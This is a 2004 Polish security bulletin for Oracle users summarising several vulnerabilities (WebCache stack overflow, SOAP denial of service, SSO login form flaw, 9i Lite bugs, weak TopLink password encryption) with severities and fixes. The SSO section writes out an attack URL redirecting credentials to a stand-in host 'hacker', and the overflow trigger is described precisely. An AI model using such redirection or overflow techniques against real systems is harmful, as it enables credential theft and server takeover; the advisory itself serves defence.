Biuletyn Bezpieczeństwa PLOUG

Od 2004-02-01 do 2004-05-13

Wojciech Dworakowski
wojtekd@securing.pl

Można powiedzieć, że błędy jakie odkryto w produktach Oracle w ciągu
ostatnich kilku miesięcy, są dosyć „edukacyjne”. Mamy tu przekrój
różnych metod atakowania serwerów i danych:

  • Błąd w formatce webowej obsługującej Oracle Single
    Sign-on pozwalający na oszukanie użytkownika i przechwycenie jego hasła.

  • Klasyczne przepełnienie stosu w Oracle WebCache (szczególnie
    groźna podatność, bo dotyczy serwisu, który w typowych instalacjach jest
    osiągalny z Internetu).

  • Atak Denial of Service na Application Server skutkujący
    zawieszeniem serwera.

  • 11 błędów w oprogramowaniu dla urządzeń mobilnych.

  • Szyfrowanie haseł słabym, wymyślonym przez producenta
    algorytmem (jasno tutaj widać, że tylko stosowanie uznanych standardów
    kryptograficznych daje właściwy poziom ochrony).

Tak szeroki przekrój rodzajów podatności jest chyba
„znakiem czasów”. Współczesne systemy IT są szalenie
skomplikowane. Nawet doświadczeni administratorzy i deweloperzy nie zawsze
wiedzą, jak one w rzeczywistości działają. Na dodatek, ostatnio obserwujemy
ekspansję nowych (jeszcze bardziej skomplikowanych) technologii takich jak Web
Services czy aplikacje mobilne. Jak pokazuje historia – wprowadzenie
nowych technologii z reguły skutkuje obniżeniem bezpieczeństwa, bo na początku
twórcy jeszcze nie zdają sobie sprawy z nowych klas zagrożeń, jakie mogą
nieść ze sobą nowinki. Dotyczy to zwłaszcza (jakże częstej) sytuacji, gdy
na nowe technologie patrzy się przez pryzmat obecnie stosowanych metod ataku i
ochrony. Dobrym przykładem są tu modne w ostatnim czasie aplikacje mobilne.
Wydaje mi się, że w najbliższym czasie ujrzymy wiele ciekawych publikacji o
możliwościach ataku na aplikacje tego typu. Wynika to z faktu, że ta nowa
technologia może posiadać tylko ograniczone zabezpieczenia ze względu na
znaczne ograniczenie zasobów w urządzeniach mobilnych (mocy procesora, pamięci
i interfejsu użytkownika) w porównaniu do zwykłych komputerów. Z tego
wynikają też prawdopodobnie podatności w Oracle 9i Lite, opisane poniżej.

W poprzednim biuletynie bezpieczeństwa informowałem o
licznych błędach typu buffer overflow w bazie danych Oracle. Wtedy informacje
o tych błędach były dostępne wyłącznie ze źródeł niezależnych i
wiadomo było tylko, że błąd został poprawiony w wersji 9.2.0.3. Nie były
natomiast dostępne poprawki na inne wersje. 18.02.2004 Oracle opublikowało
Security Alert #64, który prawdopodobnie (bo Oracle nie podało żadnych szczegółów
technicznych) mówi o tych błędach i informuje o udostępnieniu poprawki (Metalink
ID: 258254.1)

Możliwość zdalnego ataku na Oracle WebCache

Produkty podatne na zagrożenie:

Oracle 9i Application Server – wszystkie wersje
do 9.0.4.0.0.
Oracle 10g Application Server – wszystkie wersje.
Oracle E-Business Suite – 11i.IBE.O i późniejsze.

Data publicznego ujawnienia: 08.04.2004

Opis:

W Oracle WebCache istnieje błąd pozwalający na przepełnienie
stosu i wykonanie dowolnego kodu na serwerze. Podatność istnieje w komponencie
przetwarzającym zlecenia HTTP, a więc może zostać wykorzystana przez
dowolnego intruza, który ma dostęp do stron oferowanych przez atakowaną
instalację Oracle Application Server. W typowych zastosowaniach oznacza to, że
serwer może zostać zaatakowany z dowolnego miejsca w Internecie/intranecie.
Skutkiem ataku jest wykonanie na serwerze dowolnego kodu intruza. W typowych
instalacjach, na serwerach Windows kod ten wykona się z uprawnieniami użytkownika
„local_system” (co w praktyce oznacza przejęcie kontroli nad
serwerem), a na systemach unixowych z uprawnieniami użytkownika „oracle”
(co w praktyce oznacza przejęcie kontroli nad danymi).

Stopień zagrożenia: bardzo wysoki

Szczegóły techniczne:

Nagłówek HTTP w pierwszej linii zawiera nazwę metody i ścieżkę
URL, przykładowo: GET /index.jsp?page=produkty
Standardowo używane metody przez serwisy webowe to GET i POST. Jednak poza nimi
istnieją metody pozwalające na uzyskanie dostępu do zapisu do serwera (o ile
konfiguracja na to pozwala) np.: POST, PUT, DELETE oraz metody pozwalające na
uzyskanie dodatkowych informacji od serwera, np. HEAD, TRACE.
Błąd pozwalający na przepełnienie stosu istnieje w procesie „webcached”,
we fragmencie sprawdzającym metodę HTTP, za pomocą której klient komunikuje
się z serwerem. Jeżeli nazwa metody w nagłówku HTTP będzie dłuższa niż
432 znaki, to nastąpi przepełnienie stosu przez proces „webcached”.
Błąd może zostać wykorzystany do wykonania dowolnego kodu intruza na
serwerze, w kontekście procesu „webcached”.
Exploit wykorzystujący opisaną podatność nie został udostępniony, jednak
odkrywca błędu podał ogromną ilość szczegółów technicznych, dzięki którym
stworzenie odpowiedniego kodu atakującego WebCache jest stosunkowo proste.

Usunięcie zagrożenia:

Jedynym sposobem w pełni usuwającym opisany problem jest
wgranie poprawki dostępnej na Metalinku (ID 265310.1).
Uwaga: Większość współczesnych firewalli nie jest w stanie obronić przed
tego typu atakami. Mogą to zrobić tylko te firewalle, które rozumieją protokół
HTTP i są skonfigurowane w ten sposób, że przepuszczają tylko niektóre
metody HTTP (np. tylko GET i POST). Warto zwrócić uwagę, że pomimo
zastosowania takiego firewalla, podatność może być wykorzystywana przez
protokół HTTPS (o ile jest udostępniony) ponieważ firewall nie jest w stanie
filtrować zaszyfrowanego ruchu.

Możliwość ataków Denial of Service na Oracle HTTP Server

Produkty podatne na zagrożenie:

Oracle Application Server – 1.0.2.2, 1.0.2.2.2, 9.0.2.3
i wcześniejsze, 9.0.3.1, 9.0.3.2.
Oracle HTTP Server wchodzący w skład Oracle 9iR2 Database Server –
9.2.0.1 i wcześniejsze.
Oracle E-Business Suite 11i – o ile są używane powyższe wersje serwera
aplikacji.

Data publicznego ujawnienia: 18.02.2004

Opis:

Oracle HTTP Server jest serwerem HTTP wchodzącym w skład
Oracle Application Server. Jest on również instalowany z bazą danych (do celów
testowych).
Atak wykorzystuje błąd w module przetwarzającym komunikaty SOAP nadchodzące
do Oracle HTTP Server. Interferjs SOAP jest standardowo włączony w typowych
instalacjach Oracle HTTP Server i jest wykorzystywany przez większość
nowoczesnych aplikacji webowych (wykorzystujących Web Services).
Skutkiem ataku może być przeciążenie serwera, a co za tym idzie –
uniemożliwienie dostępu do serwowanych aplikacji. W standardowych instalacjach
dostęp do interfejsu SOAP nie wymaga uwierzytelnienia, więc zagrożenie może
zostać wykorzystane przez z dowolnego punktu w Internecie/intranecie.

Stopień zagrożenia: średni

Szczegóły techniczne:

Jednym z fragmentów protokołu SOAP jest pole DTD (Data Type
Definitions). Pole DTD zawiera opis struktury dokumentu XML, którym jest
komunikat SOAP. (Warto przy tym zauważyć, że DTD jest metodą przestarzałą,
zastąpioną przez XML Schema Language). DTD są przekazywane do serwera za pośrednictwem
protokołu HTTP (jako element komunikatu SOAP). Jeśli atakujący odpowiednio
sformatuje pole DTD, to może spowodować zakłócenie pracy Oracle Application
Server.
Nie podano szczegółów technicznych pozwalających na łatwe wykorzystanie błędu.
Skutkiem udanego ataku może być skonsumowanie całej dostępnej mocy
obliczeniowej procesorów i znacznej ilości pamięci operacyjnej. Co ciekawe
– bardzo podobne błędy znaleziono pod koniec 2003 w IBM WebSphere i
Microsoft ASP.NET WebServices.

Usunięcie zagrożenia:

Jeśli aplikacje nie wykorzystują SOAP, interfejs SOAP należy
wyłączyć. Polega to na usunięciu biblioteki $ORACLE_HOME/soap/lib/soap.jar
W przypadku gdy interfejs SOAP jest wykorzystywany przez aplikacje, należy wgrać
poprawkę dostępną na Metalinku pod ID 259556.1

Błąd w formularzu logowania Oracle Single Sign-on

Produkty podatne na zagrożenie:

Oracle 9i Application Server – wszystkie wersje.
Oracle HTTP Server wchodzący w skład Oracle Database – wszystkie wersje.

Data publicznego ujawnienia: 30.03.2004

Opis:

Oracle Single Sign-on – moduł służący do
uwierzytelniania się do wielu usług za pomocą jednokrotnego podania hasła,
zawiera formularz logowania się przez Web. Formularz ten może być
dostosowywany do potrzeb konkretnej aplikacji. Sposób dostosowania jest opisany
w dokumentacji „Oracle 9iAS Single Sign-on Administrators Guide, Release
2(9.0.2)”. Sposób w jaki dostosowywany jest formularz zawiera istotny błąd
logiczny, który powoduje, że intruz może łatwo podszyć się pod formularz
logowania aplikacji i w ten sposób przechwycić login i hasło użytkownika.

Stopień zagrożenia: duży, o ile kod zawarty w przykładzie jest używany w
aplikacji produkcyjnej.

Szczegóły techniczne:

Dostępne w tej chwili szczegóły techniczne nie opisują
jasno problemu. Prawdopodobnie chodzi o to, że dostosowanie formatki odpowiadającej
za logowanie SSO polega na przekazaniu w parametrach GET adresu URL do kodu, który
ma obsłużyć uwierzytelnienie: np.
http://serwer_sso/pls/ssologin?p_submit_url=authorize.jsp (w uproszczeniu)
Jest to dość poważny błąd, gdyż parametr ten nie powinien być
przetwarzany po stronie klienta.
Scenariusz ataku polega w takim wypadku na skłonieniu użytkownika do wejścia
na oryginalną stronę logowania ale, z podmienionym parametrem „URL”
http://server_sso/pls/ssologin?p_submit_url=http://hacker/hack.jsp.
Po zalogowaniu się, parametry które wpisze użytkownik (login i hasło) są
wysyłane do adresu strony zawartego w parametrze „p_submit_url” (a
więc do adresu podmienionego przez intruza). Po przechwyceniu loginu i hasła,
intruz może odesłać te parametry do prawdziwego adresu url odpowiedzialnego
za uwierzytelnienie. W ten sposób użytkownik prawdopodobnie nie zauważy, że
został oszukany.

Uwaga: Opisany scenariusz opiera się tylko i wyłącznie na
przypuszczeniach autora.

Usunięcie zagrożenia:

Oracle proponuje obejście problemu przez zakodowanie adresu
strony odpowiadającej za uwierzytelnienie na stałe w kodzie formatki logowania
w zmiennej p_submit_url.

Liczne błędy w Oracle 9i Lite

Produkty podatne na zagrożenie:

Oracle 9i Lite – wersje od 5.0.0.0.0 do 5.0.2.9.0.

Data publicznego ujawnienia: 19.02.2004

Opis:

W oprogramowaniu dla aplikacji mobilnych Oracle 9i Lite
wykryto 11 błędów związanych z bezpieczeństwem. Skutkiem wykorzystania tych
podatności może być uzyskanie przez intruza nieautoryzowanego dostępu do
danych. Jeden z błędów można wykorzystać bez konieczności posiadania konta
w systemie.

Stopień zagrożenia: wysoki

Szczegóły techniczne:

Zarówno Oracle jak i odkrywca błędów nie podają szczegółów
technicznych. Znaczącą różnicą w oryginalnej publikacji odkrywcy błędów
(http://www.red-database-security.com/advisory/advisory_20040219_1.html)
a Oracle Security Alert #63 jest to, że odkrywca twierdzi, iż jeden z błędów
da się wykorzystać bez konieczności posiadania konta w systemie.

Usunięcie zagrożenia:

Jedynym sposobem usunięcia podatności jest wgranie poprawki
(Metalink ID: 261992.1).
Uwaga: Użytkownicy Oracle 9i Lite w wersjach 5.0.0 i 5.0.1, przed wgraniem
poprawki muszą uaktualnić oprogramowanie do wersji 5.0.2.

Słabe szyfrowanie haseł w Oracle Application Server TopLink

Produkty podatne na zagrożenie:

Oracle Application Server 9.0.2.x, 9.0.3.x.

Data publicznego ujawnienia: 26.01.2004

Opis:

OracleAS TopLink to komponent Java pozwalający zintegrować
kod Java z bazą danych. Wchodzi on w skład Oracle Application Server. Żeby
dostać się do danych w bazie, niezbędna jest nazwa i hasło użytkownika
bazy. Nazwa i hasło są przechowywane przez TopLink Mapping Workbench w pliku
XML (session.xml) w postaci zaszyfrowanej. W Internecie opublikowano prosty
program pozwalający na odszyfrowanie tych haseł. Skutkiem tego – jeśli
atakujący ma konto w systemie operacyjnym, to może odszyfrować hasło i
uzyskać nieautoryzowany dostęp do bazy danych.

Stopień zagrożenia: średni

Szczegóły techniczne:

Okazało się, że zastosowany przez Oracle algorytm szyfrujący
jest bardzo słaby. Jest to prosty szyfr podstawieniowy z dodaniem na końcu stałego
ciągu znaków. Algorytm taki da się w sposób prosty odwrócić i odszyfrować
dane. W Internecie jest dostępny prosty skrypt Perl, który odszyfrowuje hasła
TopLink.
W Oracle Application Server 10g ten algorytm został zastąpiony przez
wykorzystanie Java Cryptography, ale dla zachowania kompatybilności ze wcześniejszymi
wersjami, stary algorytm jest również obsługiwany.

Usunięcie zagrożenia:

Jak na razie nie jest dostępna poprawka usuwająca tę
podatność.
Jeśli funkcjonalność TopLink jest używana, to należy ograniczyć dostęp do
systemu operacyjnego, na którym jest zainstalowany Oracle AS. Zwracam przy tym
uwagę, że jeżeli Oracle AS jest w domenie Windows 2000, to dostęp do serwera
mogą mieć wszyscy użytkownicy domenowi. Należy ponadto ograniczyć dostęp
do pliku z hasłami TopLink, stosując możliwości nadawania uprawnień do plików
w systemie operacyjnym serwera.